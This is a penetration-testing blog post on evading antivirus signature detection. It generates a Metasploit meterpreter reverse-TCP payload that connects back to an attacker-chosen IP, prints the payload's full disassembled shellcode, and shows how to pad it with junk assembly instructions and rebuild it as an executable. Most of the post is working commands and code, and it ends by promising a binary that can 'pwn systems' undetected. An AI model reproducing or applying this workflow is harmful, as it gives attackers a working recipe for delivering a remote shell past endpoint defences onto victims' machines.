Preface
It seems that more and more these days I find myself battling head to head against my client’s Antivirus Detection capabilities. Payloads I encoded to successfully bypass one solution get picked up by another. An executable that walked effortlessly past one AV this week gets stopped dead in its tracks by the very same software build at a different client the week later. This is a frustrating and constant problem for myself and many other Penetration Testers I am sure.
The topic of Antivirus Detection bypass is not a new one by any means. Currently there exist several methodologies that work well and I don’t think anyone (at least no one I know) can respectfully make a claim for a particular method being the De facto standard that works every time.
This article aims to provide some insight into one such method that I have become fond of and has proven quite successful in many of my recent Information Security Assessments. I first became aware of the technique by reading This Great Writeup from exploit-db. I’m not sure if the author is responsible for coining the term or not but they refer to this ancient wisdom and all of its magical powers under the alias “Ghost Writing” which I think sounds super cool!
Brief Introduction To Antivirus Detection Methodologies
If one hopes to successfully get around Antivirus software it’s probably a good idea to understand just how they determine that a malicious application is in fact “malicious”. For a detailed and probably much more accurate explanation of this phenomenon Click here to become Wikipedafied!!
The Cliff Notes Version:
Speaking quite generally, Antivirus Engines are capable of detecting malicious applications usually by one of two basic methodologies.
<– insert rant –>
Don’t tell the Antivirus vendors that though because they would have you believe that there are 10 completely different methods of detection in order to squeeze you somewhere into their 10-tier pricing matrix
<– end rant –>
Heuristic base analysis, in which case the AV engine monitors the behavior of the application and determines based on a predetermined set of criteria if the behavior can be classified as being malicious. This can happen in a sandboxed environment that is generated pre-execution time or dynamically inside a process’s virtual memory space while it is running. This is the current most effective and accurate way to guard against viruses and malware applicaitons. A good heuristic based engine constantly monitors the behavior of all applications and “teaches themselves” to become smarter on a regular basis.
The second and older method is called many names, we will use the term Static Binary Analysis. It doesn’t matter what you call it as long as you understand how it works. In SBA the AV engine looks at the binary data (the machine language instructions) of the application as it sits on the disk and checks for known sequences of malicious instructions, for example the instructions for opening up a TCP port and binding it to “cmd.exe”. These small pieces of code are called “signatures”. For signature detection to be successful your AV vendor needs to know every piece of malicious code out there and have accurate and up-to-date definitions for you on a daily basis. That’s even more difficult to do then it sounds. As luck would have it, most main stream AV vendors (even the ones claiming to be heuristic, shhhh..) still incorporate SBA in some way or another into their products. We can use the flaw in this logic to bypass AV detection by “Obfuscating” or “Ghost Writing” our binary data in such a way that it does not contain any known signatures. Now on to the fun stuff.
Building Our Malicious Executable
First we will build the malicious executable that we want to bypass Antivirus Detection using msfpayload, one of our very closest companions :)
$ ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=443 R > raw_binary
In the above command you should change ’192.168.1.100′ to whatever IP address you want your victim to connect back to.
The Metasm Ruby Library
Now that we have created a “raw” binary file we have to disassemble it into readable machine language or Assembly Code. To do this we will use the “metasm” ruby library that ships natively with the metasploit framework. In order for the library to function you must first copy the metasm.rb file and metasm directory into your system’s ruby installation path. On my system doing so looks like this
cd ~/tools/metasploit/lib/metasm
cp -a metasm.rb metasm /opt/local/lib/ruby1.9/site_ruby/1.9.1
Now we can disassemble the binary file we created earlier.
$ ruby ~/tools/metasploit/lib/metasm/samples/disassemble.rb raw_binary > asm_code.asm
That will create a file called asm_code.asm which should look something like this
asm_code.asm
entrypoint_0:
cld ; @0 fc
call sub_8fh ; @1 e889000000 x:sub_8fh
pushad ; @6 60
mov ebp, esp ; @7 89e5
xor edx, edx ; @9 31d2
mov edx, fs:[edx+30h] ; @0bh 648b5230 r4:segment_base_fs+30h
mov edx, [edx+0ch] ; @0fh 8b520c r4:unknown
mov edx, [edx+14h] ; @12h 8b5214 r4:unknown
// Xrefs: 8dh
loc_15h:
mov esi, [edx+28h] ; @15h 8b7228 r4:unknown
movzx ecx, word ptr [edx+26h] ; @18h 0fb74a26 r2:unknown
xor edi, edi ; @1ch 31ff
// Xrefs: 2ch
loc_1eh:
xor eax, eax ; @1eh 31c0
lodsb ; @20h ac
cmp al, 61h ; @21h 3c61
jl loc_27h ; @23h 7c02 x:loc_27h
sub al, 20h ; @25h 2c20
// Xrefs: 23h
loc_27h:
ror edi, 0dh ; @27h c1cf0d
add edi, eax ; @2ah 01c7
loop loc_1eh ; @2ch e2f0 x:loc_1eh
push edx ; @2eh 52
push edi ; @2fh 57
mov edx, [edx+10h] ; @30h 8b5210 r4:unknown
mov eax, [edx+3ch] ; @33h 8b423c
add eax, edx ; @36h 01d0
mov eax, [eax+78h] ; @38h 8b4078
test eax, eax ; @3bh 85c0
jz loc_89h ; @3dh 744a x:loc_89h
add eax, edx ; @3fh 01d0
push eax ; @41h 50
mov ecx, [eax+18h] ; @42h 8b4818
mov ebx, [eax+20h] ; @45h 8b5820
add ebx, edx ; @48h 01d3
// Xrefs: 66h
loc_4ah:
jecxz loc_88h ; @4ah e33c x:loc_88h
dec ecx ; @4ch 49
mov esi, [ebx+4*ecx] ; @4dh 8b348b
add esi, edx ; @50h 01d6
xor edi, edi ; @52h 31ff
// Xrefs: 5eh
loc_54h:
xor eax, eax ; @54h 31c0
lodsb ; @56h ac
ror edi, 0dh ; @57h c1cf0d
add edi, eax ; @5ah 01c7
cmp al, ah ; @5ch 38e0
jnz loc_54h ; @5eh 75f4 x:loc_54h
add edi, [ebp-8] ; @60h 037df8
cmp edi, [ebp+24h] ; @63h 3b7d24
jnz loc_4ah ; @66h 75e2 x:loc_4ah
pop eax ; @68h 58
mov ebx, [eax+24h] ; @69h 8b5824
add ebx, edx ; @6ch 01d3
mov cx, [ebx+2*ecx] ; @6eh 668b0c4b
mov ebx, [eax+1ch] ; @72h 8b581c
add ebx, edx ; @75h 01d3
mov eax, [ebx+4*ecx] ; @77h 8b048b
add eax, edx ; @7ah 01d0
mov [esp+24h], eax ; @7ch 89442424
pop ebx ; @80h 5b
pop ebx ; @81h 5b
popad ; @82h 61
pop ecx ; @83h 59
pop edx ; @84h 5a
push ecx ; @85h 51
jmp eax ; @86h ffe0
// Xrefs: 4ah
loc_88h:
pop eax ; @88h 58
// Xrefs: 3dh
loc_89h:
pop edi ; @89h 5f
pop edx ; @8ah 5a
mov edx, [edx] ; @8bh 8b12 r4:unknown
jmp loc_15h ; @8dh eb86 x:loc_15h
// Xrefs: 1
sub_8fh:
// function binding: ebp -> dword ptr [esp], esp -> esp-10h
// function ends at 0a0h
pop ebp ; @8fh 5d
push 3233h ; @90h 6833320000
push 5f327377h ; @95h 687773325f
push esp ; @9ah 54
push 726774ch ; @9bh 684c772607
call ebp ; @0a0h ffd5 endsub sub_8fh noreturn
db 0b8h, 90h, 1, 0, 0, 29h, 0c4h, "TPh)", 80h, 6bh, 0 ; @0a2h
db 0ffh, 0d5h, "PPPP@P@Ph", 0eah, 0fh, 0dfh, 0e0h, 0ffh ; @0b0h
db 0d5h, 97h, 6ah, 5, 68h, 0c0h, 0a8h, 1, 64h, 68h, 2, 0, 1, 0bbh, 89h, 0e6h ; @0c0h
db 6ah, 10h, "VWh", 99h, 0a5h, 74h, 61h, 0ffh, 0d5h, 85h, 0c0h, 74h, 0ch, 0ffh ; @0d0h
db 4eh, 8, 75h, 0ech, 68h, 0f0h, 0b5h, 0a2h, 56h, 0ffh, 0d5h, 6ah, 0, 6ah, 4, 56h ; @0e0h
db 57h, 68h, 2, 0d9h, 0c8h, 5fh, 0ffh, 0d5h, 8bh, "6j@h", 0, 10h, 0 ; @0f0h
db 0, 56h, 6ah, 0, 68h, 58h, 0a4h, 53h, 0e5h, 0ffh, 0d5h, 93h, 53h, 6ah, 0, 56h ; @100h
db "SWh", 2, 0d9h, 0c8h, 5fh, 0ffh, 0d5h, 1, 0c3h, 29h, 0c6h, 85h, 0f6h, 75h ; @110h
db 0ech, 0c3h ; @120h
Manual Obfuscation
Right about now would be a perfect time to reference one of my favorite begging Assembly Language tutorial videos:
http://www.securitytube.net/groups?operation=view&groupId=5
Now that we have some ASM know-how we can start getting our hand s dirty with some Ghost Writing. Start adding random ASM instructions in the middle of the various code sections. I know, it would be much more effective to first determine precisely which bytes are flagging your target AV but that’s really another article in it’s self. For now, we’ll continue with the “spray and pray” methodology. You can add anything you want so long as you don’t break the functionality of the application. I find that simply pushing registers onto the stack and then popping them back off sometimes will do the trick. Also just before a XOR statement (which is often used to set the value of a register to zero) you can add a bunch of random statements to increment and decrement the register, move values of other registers into it. Anything you do won’t matter because eventually you will be changing the value to zero. So using the above example we can change the section beginning with ‘// Xrefs: 8dh’
From This:
// Xrefs: 8dh
loc_15h:
mov esi, [edx+28h] ; @15h 8b7228 r4:unknown
movzx ecx, word ptr [edx+26h] ; @18h 0fb74a26 r2:unknown
xor edi, edi ; @1ch 31ff
To This:
// Xrefs: 8dh
loc_15h:
mov esi, [edx+28h] ; @15h 8b7228 r4:unknown
movzx ecx, word ptr [edx+26h] ; @18h 0fb74a26 r2:unknown
mov edi, ecx ; Move the contents of the ECX register into the EDI Register
push edi ; Push the EDI register onto the current stack frame
pop edi ; Pop it back off
mov edi, ecx ; Mov ECX back into edi
xor ecx, ecx ; Zero out the contents of the ECX register
mov ecx, edi ; Mov EDI back into ECX
xor edi, edi ; @1ch 31ff
So here we turned 3 lines of code into 9 however lines 3-8 result in the same values for ECX and EDI as the original code. This is essentially what it means to obfuscate code.
Once you’ve finished mangling your ASM code you need to add the following two lines to the top of the file for it to build correctly.
.section '.text' rwx
.entrypoint
Someone in the #metasploit IRC was kind enough to point that out to me, Im sorry I can’t remember who it was because so many smart people in the #metasploit room help me out on a regular basis. You know who you are, and thank you!
The final step is to use metasm to build the executable and package it into a format that Windows can run.
$ ruby ~/tools/metasploit/lib/metasm/samples/peencode.rb asm_code.asm -o coolstuff.exe
Run a file check on coolstuff.exe to verify that it was built correctly. You should see something like this when finished.
$ file coolstuff.exe
coolstuff.exe: MS-DOS executable, MZ for MS-DOS
If everything went according to plan, you should be left with a random enough binary file that doesn’t match up with any of your target signatures and is free to pwn systems free from Antivirus Detection. That’s all for now, hope you enjoyed reading. Hack responsibly!
The post Using Metasm To Avoid Antivirus Detection (Ghost Writing ASM) appeared first on Pentest Geek - Penetration Testing - Infosec Professionals.